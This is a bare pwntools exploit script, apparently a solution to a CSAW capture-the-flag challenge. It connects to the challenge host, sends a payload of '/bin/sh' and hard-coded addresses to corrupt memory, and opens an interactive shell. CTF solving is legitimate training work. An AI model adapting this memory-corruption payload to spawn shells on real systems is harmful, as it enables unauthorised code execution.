from pwn import *
pe = remote("pwn.chal.csaw.io",10105)
pe.recvline()
pe.sendline('/bin/sh\x00'+'\xd0\x05\x40\x00\x00\x00\x00\x00'+'C'*8+'\x10\x10\x60\x00\x00\x00\x00\x00')
pe.interactive()